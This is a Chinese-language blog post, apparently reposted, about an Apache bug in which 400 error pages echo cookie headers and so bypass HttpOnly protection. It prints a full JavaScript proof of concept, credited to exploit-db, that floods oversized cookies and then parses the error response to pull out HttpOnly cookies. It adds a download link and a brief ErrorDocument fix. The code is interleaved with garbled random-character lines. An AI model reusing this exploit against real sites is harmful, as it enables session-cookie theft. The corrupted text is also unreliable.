Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 y4 w: p1 ?0 [4 X4 B) h
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
! X1 i% }" K, Z2 R4 I+ Y+ @6 u
- Q  u& }. `" }6 E
) Q% ^8 X- E, N+ |// http://www.exploit-db.com/exploits/18442/
8 j; C- A- c, P6 S( o( Pfunction setCookies (good) {
0 M, q" @& f# {2 P8 n, g& Q// Construct string for cookie value
7 c# G: Y: d8 t. ~$ Tvar str = "";
for (var i=0; i< 819; i++) {
% A+ [7 |8 v$ sstr += "x";
$ ~( `! d; D# r* L& i% P- l" I}
// Set cookies
$ }* E$ h/ m+ lfor (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
3 y! b3 d1 v* A( B+ \var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
5 Y) I- l0 g8 P. g) x$ z}
0 w  t& K" N0 R// Set evil cookie
! T5 Y. R. A+ W6 A5 L" belse {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
# [2 g4 n% W# x}
}
function makeRequest() {
setCookies();
4 Q7 {% t2 ?1 V$ kfunction parseCookies () {
var cookie_dict = {};
( a1 B$ u. c$ ]4 J6 S3 G3 {' F// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
0 p6 F+ S# J, o+ W. C- fvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
+ F" w( a" b+ X" T" E8 rif (content.length) {
6 d0 L* \2 i( b* ^+ f4 b7 k% \) e" c// Remove Cookie: prefix
$ K* {% [2 K" C1 ycontent = content[1].replace("Cookie: ", "");
0 u7 C) o  v" N5 ~var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
2 Q0 n  h9 k% X- m8 Z// Add cookies to object
, c3 q0 V& s0 j! `& n6 i% cfor (var i=0; i<cookies.length; i++) {
. X5 j* a3 b* X; l3 b! T6 Yvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
4 T$ _. O5 L7 O0 j- Salert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
% T5 N; O- Z+ A1 |( {$ ivar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
# F* l: v/ z% G, ?  K6 `# _xhr.open("GET", "/", true);
) t! }, S. P$ }; hxhr.send(null);
}
makeRequest();
/ P* J: F4 u8 W( u
# N* W: p+ T- x: f# N1 h" h/ z你就能看见华丽丽的400错误包含着cookie信息。
- f  ]# s3 E, j2 [. K7 l/ k: c
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
% `4 b8 d' z6 E7 @$ ?* _, Z
) \6 Y) @* v3 A% m" a2 p* A+ y修复方案：
5 T# j9 i9 L  Y" f7 G
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
% F9 Z: S4 V1 G3 M
In the event of a problem or error, Apachecan be configured to do one of four things,
& l' ^: r# u, d8 j* L/ R
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- L* C! E( ^% X- U2 ]2. output acustomized message输出一段信息
% L9 s/ c% P2 B- K4 P5 b/ i3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
9 w. _6 k. j* K6 w! a4. redirect to an external URL to handle theproblem/error转向一个外部URL
( b0 v) X4 E* P+ W* @- p
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
0 o8 q) T1 ?* F) m
5 U+ f# s8 X  n: b1 L- o+ |Apache配置：

* n* q& O6 D1 U; o/ SErrorDocument400 " security test"

$ N: N  [* o) \当然，升级apache到最新也可：）。

6 y9 D% o& u. H% ?& h$ |+ A参考：http://httpd.apache.org/security/vulnerabilities_22.html
+ O& U8 ^( u; ]8 i; _